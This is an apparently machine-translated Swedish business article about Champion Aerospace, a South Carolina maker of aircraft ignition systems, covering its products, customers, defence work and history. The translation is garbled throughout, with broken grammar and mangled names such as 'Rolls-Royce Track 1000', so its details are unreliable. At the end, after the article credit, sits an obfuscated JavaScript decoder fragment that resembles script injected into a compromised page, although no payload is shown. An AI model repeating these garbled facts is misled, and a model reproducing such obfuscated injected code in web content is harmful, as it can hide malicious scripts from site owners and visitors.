Champion Aerospace bränder upp luftfarten från landsbygden Upstate

När en pilot startar ett turbin- eller kolvdrivet flygplan är chansen god tändsystemet eller dess komponenter gjordes på Champion Aerospace in Liberty. Verksamheten, med mer än ett sekel av flyghistoria och ett varumärke väl känt för bildelar konsumenter, har tillverkningsverksamhet och forskning och laboratorier utveckling i en 220.000 kvadratmeter anläggning. Inuti den oansenliga exteriören, en bana löper längden på de viktigaste tillverkningsgolvet, och cafeteria-matsalen har en hangar design.
Champion Aerospace är en del av Cleveland-baserade TransDigm Group och har 250 anställda vid sin ensamma fabrik. Anställda designar och tillverkar märkeständare, magnetiseringsmätare och leads för turbinmotorer, samt tändstift, magnetos, oljefilter och tändselar för kolvdrivna flygplansmotorer.
I ett tändsystem för turbinmotorn tar excitern inström från flygplanets elsystem, trappar upp spänningen och levererar en signal med högspänningsutgång genom tändningen som leder till ignitern. Tändaren gnistor när dess gap är joniserad, och fältet mellan centrum elektrod och tändare skal bryts ner. Champion-anställda tillhandahåller också standard- och anpassade konfigurerade flygströmförsörjningar.
Företagets vd Jason Marlin sade tändsystem är märkbara ”när du är på asfalten för att starta motorerna. … Vanligtvis är de inte skjuter tändsystemet hela tiden de flyger, men det finns vissa fall när de skulle. Så om det är isigt eller dåligt väder de skulle slå på tändningen, ifall motorn flammar ut. Det skulle automatiskt starta igen. Vid landningar om det är dåligt väder de skulle slå på tändningen.”
En annan instans när ett tändsystem används är i händelse av en motor flame-out, piloter måste sjunka till en viss höjd och använda systemet för att tända motorerna. Marlin sa att företaget gör tändsystem för hjälpkraftenheter som kan driva ett flygplans lampor eller underhållningssystem.
Beskriver Champion Aerospace som ”mycket vertikalt integrerade,” Marlin sa att inkluderar att producera pulver för keramiska produkter.
”Vi gör vårt eget pulver. Vi avfyrar den. Vi bildar den och bearbetar den, liksom våra halvledare och tips på våra tändare, så vi gör allt som vi själva, säger han.
Ett företag uttalande visar Champion Aerospace har mer än 300 olika tändare mönster, 150 bly mönster och mer än 50 exciter mönster i produktion. Tändsystemet produkter specificeras som originalutrustning på motorer av företag som General Electric, General Electric Power & Water, Honeywell, Pratt & Whitney, Rolls-Royce, Siemens, Volvo och Westinghouse. Champion Aerospace är också en föredragen tier-one Ignition System Supplier till Eterline och UTC Aerospace Systems. Företaget gör också tändsystem för kraftindustrin som omfattar land- och marina turbiner; olje-, gas- och kolugnar, rymdtillämpningar; oljeriggsdrift; och pumpstationer.
Marlin sade en tidigare ägare flyttade företaget från Toledo, Ohio, till Upstate i slutet av 1980-talet, som han sa var främst på grund av en strejk av United Auto Workers Union.
”Vi gör en hel del tunga-källa delar,” sade han. ”Vi är den enda tillverkaren av B-1 bombplan och B-2 bomber tändare. Flygplanet kan inte gå så långt om man inte kan tända motorn. Så männen i svart typ av kom och sa, ”Hej, vi kan inte ha denna risk. Du måste sätta upp en separat operation för våra försvarsdelar. Så det är vad slags startade flytten till South Carolina.”
Marlin sa ”det faktum att vi är lite av en icke-unionized stat och skatteförmånen jag tror är det som drev dem att välja denna plats.” Han sa att de tidigare ägarna flyttade flygindustrin till Liberty och lämnade bildelen i Ohio. År 2001 köpte Transdigm företaget; den har mer än 30 flygenheter globalt.
Marlin sade militära kontrakt utgör cirka 14% av Champion Aerospace verksamhet, ca $ 15 miljoner till $ 20 miljoner per år. Dessa kontrakt sträcker sig från inhemska till utländska enheter.
”En del av det är direkt med den amerikanska regeringen, men det finns andra försvarsaffärer med (originalutrustning tillverkare) och med GEs i världen,” sade han.
De flesta av Champion verksamhet är i enda källa, egna produkter, marlin sa. Försvaret sidan är lite mer konkurrenskraftiga som han sa nära 50% av försvaret eftermarknaden verksamheten är dubbel källa. General Electric är en konkurrent eftersom GE äger Unison. Men marlin sade att konkurrensen är bra för näringslivet och ”regeringen har gjort ett bra jobb med att tvinga denna konkurrens.”
På den kommersiella sidan, sade Marlin Champion produkter är på nya flygplan, såsom Airbus A320 och Boeing 737. Han sade att företaget också gör tändsystem för nästa motor alternativ som produceras av Airbus och en ren kraftmotor från Pratt & Whitney. Marlin sade att det finns ”inte en hel del affärer direkt med Boeing,” men Champion Aerospace är en leverantör.
”Våra tändsystem är på de motorer som de bygger för (Boeing) 787s i South Carolina, så Rolls-Royce Track 1000 motorn har en Champion tändsystem på den,” Marlin sa. ”Lejonparten av vår verksamhet är att motorn OEM-tillverkare som en Rolls-Royce eller Pratt & Whitney eller GE, killarna som bygger motorerna.”
När det gäller tillväxtmöjlighet, sade Marlin General Electric skulle kunna ge mer på den kommersiella sidan för Champion. Dock äger GE Unison, en konkurrent till Champion, så Marlin sade att investera i forskning och utveckling samt teknik för att slå tävlingen är vad Champion strävar efter. Han sa Champion kontinuerligt arbetar på solid-state teknik för exciter del av tändsystemet. De fokuserar också på tändsladdar och ny tändteknik som plasmatändning.
Dessutom är arbetet med Pratt & Whitney F135-motorn som är en del av Lockheed Martins F-35 Joint Strike Fighter ”ramp upp” som Champion tillverkar tändsystemet för F135 huvudmotorn och efterbrännaren.
”Det är framtidens kämpe för alla de allierade styrkorna. Så det är en enorm ramp upp tillväxtprogram. Du ser det i media hela tiden. Det är överansp.t. budgeten. Det finns en stor strålkastare på det eftersom det är så mycket pengar att försvarsdepartementet spenderar på det flygplanet,” Marlin sa. ”Även om de gör minska skattesatsen lite de kommer att göra en hel del av dem och det är ett stort program, inte bara för Lockheed Martin.”
Marlin, en medlem av S.C. Aerospace Advisory Board organiserade 2015 för att främja och växa industrin i staten, sade S.C. Department of Commerce och styrelsen gör ”allt vi kan för att få fler flyg-företag här nere. Det är på väg i rätt riktning. Visst Hjälpte Boeing det.”
Marlin sade att han arbetar med Clemson University, Greenville Technical College, Tri-County Technical College och lokala skolor i rekrytering av anställda och stödja tillväxten av ”program som är mer flyg riktade.”
GSA Business Artikel
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};